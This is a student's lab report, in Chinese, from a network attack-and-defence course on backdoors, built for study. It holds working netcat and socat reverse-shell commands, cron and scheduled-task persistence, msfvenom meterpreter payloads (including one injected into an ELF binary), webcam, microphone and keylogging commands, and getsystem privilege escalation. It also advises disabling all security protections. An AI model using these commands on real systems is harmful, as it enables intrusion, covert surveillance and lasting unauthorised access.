20232327 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
本次实验需要用到的一些知识:
- 后门:不经过正常认证流程而访问系统的通道;
- 后门类型:编译器后门、操作系统后门、应用程序后门、潜伏于操作系统中或伪装成特定应用的专用后门程序;
- 后门效果:获取敏感信息、执行伪协议命令、远程控制弹出任何对话框窗口、
- 后门案例:苹果引用程序XCODEGhost(编译器)、破壳漏洞(shellshock)、CPU漏洞(熔断与幽灵Meltdown、Spectre)、JAVA库Log4j2漏洞;
- netcat工具:探测端口是否开放、局域网聊天、文件传输、正向连接、反向连接(-e重定向马上连接)
- socat工具:ncat工具的加强版,支持更复杂的数据流处理和多种协议 / 设备的连接。它的功能更强大,支持更多类型的 “端点”(如文件、管道、串口、SSL 加密、SOCKS 代理等),定位是处理复杂的网络交互场景。
- Meterpreter工具:生成后门的工具,作为溢出成功后的攻击载荷使用;
问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
应用程序后门,通过安装一些有漏洞的应用程序,利用其中的漏洞进入系统;
硬件(固件)后门:硬件设计缺陷可能会导致后门被利用;
操作系统后门:操作系统本身存在漏洞后门,被利用后进入到系统中;
调用有设计缺陷的库:使用一些存在漏洞后门的库函数或者使用被恶意篡改的开源组件和第三方库,导致系统被侵入;
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows:基于Windows启动目录的自启动、基于注册表的自启动、基于服务程序的自启动、基于ActiveX控件的自启动、基于计划任务(Scheduled Tasks)的自启动;
Linux:设置crontab定时任务:类似于Windows的定时任务,攻击者可以在Linux的crontab中添加任务,指定在特定时间或事件触发时执行恶意程序。
(3)Meterpreter有哪些给你映像深刻的功能?
获取摄像头视频或照片的功能(webcam_snap)、录制目标设备麦克风音频(record_mic)、实时监控键盘输入的击键记录功能(keyscan_start)以及通过漏洞利用模块进行权限提升(getsystem)。
(4)如何发现自己有系统有没有被安装后门?
- 观察自己系统中是否有不正常的自启动任务或者应用;
- 观察自己设备的摄像头、麦克风、扬声器等有没有被异常调用;
- 观察任务管理器中有没有行为异常、名称异常的运行任务;
- 观察自己电脑的网络连接,关注流量异常,有没有异常可疑的网络连接;
- 使用系统自带的工具检查系统的完整性、确保系统文件没有被更改;
- 查看系统日期,观察有没有异常的用户登录尝试或者驱动加载异常;
- 在电脑安装安全工具或者入侵检测系统,对系统进行定期扫描;
2.实验过程
!在实验开始之前,为了以下实验都能顺利进行,建议关闭win电脑的所有安全保护,包括退出所有的安全软件、关闭防火墙,关闭windowsDefender的内核隔离和安全启动
(1)使用netcat获取主机操作Shell,cron启动某项任务
2.1.1使用ncat获取win主机shell
在win电脑中下载ncat工具,https://gitee.com/wildlinux/NetSec/attach_files
https://eternallybored.org/misc/netcat/
下载完成后,需要将ncat和socat的安装位置添加到系统的环境变量Path中,这样方便在任何位置使用终端调用ncat和socat工具;
安装完成后,查看win电脑ip地址和kali虚拟机ip地址;
图1 kali_ip地址
图2 win_ip地址
接着在win端使用命令nc -l-p 2327
,以学号作为端口号,启动TCP监听读取,等待其他客户端连接到当前设备的2327端口;
- 命令格式
nc
:命令本身,即 netcat(网络工具,用于创建网络连接、传输数据等)。
-l
:选项,全称 --listen,表示进入 “监听模式”(作为服务器端,等待其他设备连接)。
-p 2327
:选项,-p 表示指定端口(port),2327 是具体的端口号,即监听本地的 2327 端口。
在kali端使用命令nc 192.168.87.141 2327 -e /bin/sh
连接到win;
- 命令格式
nc
:命令本身(netcat 或 ncat),用于创建网络连接。
192.168.87.141
:目标主机的 IP 地址,即要连接的远程设备 IP。
2327:目标端口号,即远程设备上正在监听的端口(需与远程的 nc -l -p 2327 端口一致)。
-e /bin/sh
:核心选项,-e 表示 “执行指定程序”,/bin/sh 是 Linux 系统的 shell 程序(命令解释器)。
图3 使用ncat完成连接,得到shell
2.1.2 设置cron定时任务
为了使反弹连接自动执行,需在linux端设置cron任务;cron是linux系统的定时任务调度程序,能够定期执行指定的命令。
使用命令corntab -e
初次进入需要选择编辑器,这里我选择2.vim.basic
图4 打开corn任务编辑界面
在其中添加cron定时任务;在最后一行末尾加上* * * * */bin/nc 192.168.87.141 2327 -e /bin/sh
,意为每分钟执行一次,尝试连接到远程主机;
corn
语法格式
[分钟] [小时] [日] [月] [星期] [要执行的命令] /bin/nc [目标IP] [目标端口] [选项] [参数]
-e
是 netcat 的选项,用于指定 “在连接建立后执行的程序”。
图5 创建定时任务
完成编辑后,保存并退出编辑器,并使用corntab -l
查看设置的定时任务;
图6 查看创建好的定时任务
在win端尝试连接到kali,设置为每分钟运行一次,所以最长连接等待时间为一分钟,一分钟内就可以连接到kali;
图7 验证cron任务是否生效、正确运行
(2)使用socat获取主机操作Shell, 任务计划启动
2.2.1 使用socat获取主机操作shell
确保在win电脑上已经正确安装了socat工具,并将其添加到环境变量中;
在windows终端中,输入命令socat.exe tcp-listen:2327 exec:cmd.exe,pty,stderr
,以学号为端口号启动监听;
- 命令格式
socat tcp-listen:<端口号> exec:<可执行文件>,pty,stderr
图8 在windows中启动监听
在kali端使用命令socat -tcp:192.168.161.141:2327
连接到win;
这一步一定要允许socat通过防火墙或者直接关闭防火墙;
图9 获取windows的shell
2.2.2 通过windows设置自动启动任务
在win中使用c语言编写程序,并将其编译为run.exe
后放在E:路径下;运行该程序,可以自动打开网页网络与系统攻防(2323/2324)(北京电子科技学院)
打开计算器、打开记事本、在同级目录下创建log_file文件并记录时间、当前用用户名和计算机名称;
图10 编写run自动运行程序
在kali获取的shell中;输入命令schtasks /create /sc minute /mo 1 /tn "AutoRun" /tr "E:\run.exe
创建自动运行任务AutoRun,每分钟运行一次E:\run.exe程序;
schtasks
语法格式
schtasks /create [/参数名 参数值]
创建完成后,在windows中搜索“任务计划程序”,打开后即可看到最新创建的任务AutoRun;
图11 在任务计划程序中查看通过shell创建的自动程序
图12 自动启动任务开始运行
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
2.3.1使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机;
在这里需要先使用命令sudo apt update
、sudo apt install metasploit-framework
更新 Metasploit 框架及其所有依赖项,确保它们与当前系统的 Ruby 版本兼容,其次前往微软官方下载页面:Microsoft Visual C++ Redistributable Latest Supported Downloads下载 vc_redist.x86.exe(32位版本)。绝大多数 msfvenom 生成的后门都是 32 位的,所以需要安装 32 位的组件包,即使在 64 位 Windows 上也需要。否则生成的后门程序将由于内存冲突无法在win中运行;
图13 下载并双击安装vc_redist.x86.exe
完成以上准备工作后,在windows端运行命令nc -l -p 2327>2327ywx_backdoor.exe
监听等候传输;
使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=2327-f exe >2327ywx_backdoor.exe
生成名为2327ywx_bakdoor.exe的后门程序;
msfvenom
语法格式msfvenom [选项] [payload参数] [输出格式] [输出文件]
-p windows/meterpreter/reverse_tcp
-p:指定要使用的 payload(攻击载荷)。
windows/meterpreter/reverse_tcp:这是一个针对 Windows 系统的 Meterpreter 反向 TCP 载荷。
Meterpreter 是 Metasploit 中的一个高级交互式 shell,能提供丰富的控制系统的功能(如文件操作、进程管理、摄像头控制等)。
reverse_tcp
:表示 “反向连接” 模式,即目标主机(运行生成的后门)会主动向攻击者的主机发起 TCP 连接,绕过目标主机的防火墙出站限制。
LHOST=192.168.64.148
LHOST(Local Host):指定攻击者的主机 IP 地址,即后门程序连接的目标 IP(这里是局域网 IP 192.168.64.148)。
LPORT=2327
LPORT(Local Port):指定攻击者主机上用于监听连接的端口(这里是 2327),需与后续 Metasploit 监听端口一致。
-f exe
-f:指定生成文件的格式(format)。
exe:表示生成 Windows 可执行文件(.exe)
创建后门程序完成后,使用ncat
工具将后门文件传输到windows系统上;
图14 使用msf工具生成后门程序并将其传送到windows主机上
图15 传输到windows上的后门程序
传输完成后,在windows主机运行后门程序,在kali上通过Metasploit 启动监听,在kali终端输入指令msfconsole
启动控制台;
使用 exploit/multi/handler 模块进行监听:use exploit/multi/handler
设置Payload和监听参数:
`set payload windows/meterpreter/reverse_tcp`
`set LHOST 192.168.64.148`
`set LPORT 2327`
这里设置LHOST和LPORT和生成后门程序时使用一样的ip和端口;
启动监听
exploit
图16 使用MSF meterpreter得到windows的shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
在(3)的基础上,在meterpreter控制台中输入下列命令;
record_mic -d 10
screenshot
webcam_snap
keyscan_start
keyscan_dump
webcam_stream
record_mic -d 10:录制目标设备的麦克风音频,持续 10 秒(-d 参数指定录制时长)
screenshot:截取目标设备当前的屏幕画面,并保存到本地
webcam_snap:调用目标设备的摄像头拍摄一张照片,并保存到本地
keyscan_start:开始记录目标设备的键盘输入(键盘记录功能开启)
keyscan_dump:导出已记录的键盘输入内容(获取之前记录的按键信息)
webcam_stream:启动目标设备的摄像头并实时传输画面到本地,可实时查看实时视频
图17、18 获取目标主机音频、摄像头、击键记录等内容的后门
尝试提权
在控制台输入命令getuid
、getsystem
- 执行结果 Server username: LAPTOP-050Q62EU\Amir 表示:当前 Meterpreter 是在目标主机(名为 LAPTOP-050Q62EU)的用户 Amir 权限下运行的。
- 执行结果 ...got system via technique 6 (Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)). 表示:
---- 权限提升成功(got system)。
---- 采用的技术是 “技术 6:命名管道模拟(EFSRPC 变种,也称为 EfsPotato)”。这是一种利用 Windows 系统漏洞(命名管道和 EFSRPC 服务的缺陷)来实现权限提升的方法,通过模拟系统身份来获取最高权限。
图19 提权成功
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
首先,使用msfvenom工具生成一个反向连接shellcode,这里针对linux平台,将其注入到实验一使用的程序pwn1,并将生成的文件保存为pwn2327;
msfvenom -p linux/×86/meterpreter/reverse_tcp LHOST=192.168.64.148 LPORT=1234 -x /home/202323237ywx/pwn1 -f elf>/home/202323237ywx/pwn2327
图20 向pwn1文件注入后门
启动MSF监听模块
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.64.148
set LPORT 1234
图21 启动监听
执行注入的后门程序pwn2327
在目标主机执行注入生成的后门程序,在kalika打开一个新的终端,需要使用命令chmod +x pwn2327
为该文件授予执行的权限,然后使用命令./pwn2327
运行该后门程序;
图22 运行后门程序
之后返回控制台,输入exploit
连接,此时获取到kali的反弹连接shell;
图23 pwn2327反弹连接成功
3.问题及解决方案
-
问题1:在kali端使用socat工具连接到win时,总是出现连接被拒绝的问题,win和kali都已关闭防火墙;
图24 socat连接失败
-
问题1解决方案:给这段命令加上参数-d -d 后查看连接过程,发现是Kali 虚拟机尝试连接 Windows 主机的192.168.161.141:2327 端口时,连接被拒绝;
图25 socat连接失败原因分析
询问豆包后分析可能是路径问题,让我尝试使用wsl系统重的socat进行监听,我尝试之后发现能正常连接到,之后我又实用win端进行监听,以管理员身份运行powershell后,重新监听发现能正常连接;
图26 socat连接成功
-
问题2:在使用ncat命令
nc 172.16.234.28 2327<2327ywx backdoor.exe
传输生成的后门程序到win主机时,会出现接受到的文件和源文件大小不一致,文件量变大且无法运行的情况;
后门程序传输文件量发生变化
接收的程序无法运行
-
问题2解决方案:
原因分析:查询资料可知,最有可能的原因是windows的powershell的重定向 > 或其它把流当文本写入导致编码(通常变成 UTF-16/CRLF),从而文件变大且损坏。Windows 接收端把来自 nc 的字节流当文本(字符流)写入,导致字节被扩展/转换(例如每个字节后多出 00 → 文件近似变为两倍),最终 exe 损坏。
解决方法:在kali端使用命令nc -l -p 2327 < ./2327backdoor.exe
进行监听并发送文件,在windows用cmd而不是powershell运行接收,nc 172.16.234.28 2327 > C:\Users\Amir\2327backdoor.exe
;如果使用powershell,使用下面的命令按原始字节写入;
# 在 PowerShell(管理员或普通)中:
ncat 172.16.234.28 2327 | Set-Content -Encoding Byte -Path C:\Users\Amir\2327backdoor.exe
4.学习感悟、思考等
- windows的防火墙和设备安全性保护真的是太强大了,不关闭防火墙和设备安全性保护,本实验的大部分内容都无法实现;所以在平时使用设备时,一定要开启电脑的安全保护,不随意下载安装未经授权验证的程序;
- 在不同平台之间跨平台传输文件、文本的时候,一定要注意编码格式的不同会导致文件内容被改变,在不同的操作系统之间数据交互不能忽视编码转换才能保证数据的完整性和可用性;
- 本次实验还使用了MSF工具来进行渗透后的控制,初步掌握了一些使用方法,让我体会到使用这些工具强大与便捷,它将复杂的漏洞利用、会话维持、权限提升逻辑封装成简单的命令,降低了技术门槛,让我深刻体会到专业渗透工具的“集成化”优势,
- 在此次实验中,我体会到自己对一些底层知识、基础命令的掌握不够,在接下来的学习中我将继续努力学习基础原理,提升自己能力。
参考资料
-
netcat工具下载
-
socat工具下载
-
命令参考
-
msf生成的后门工具无法运行的解决方案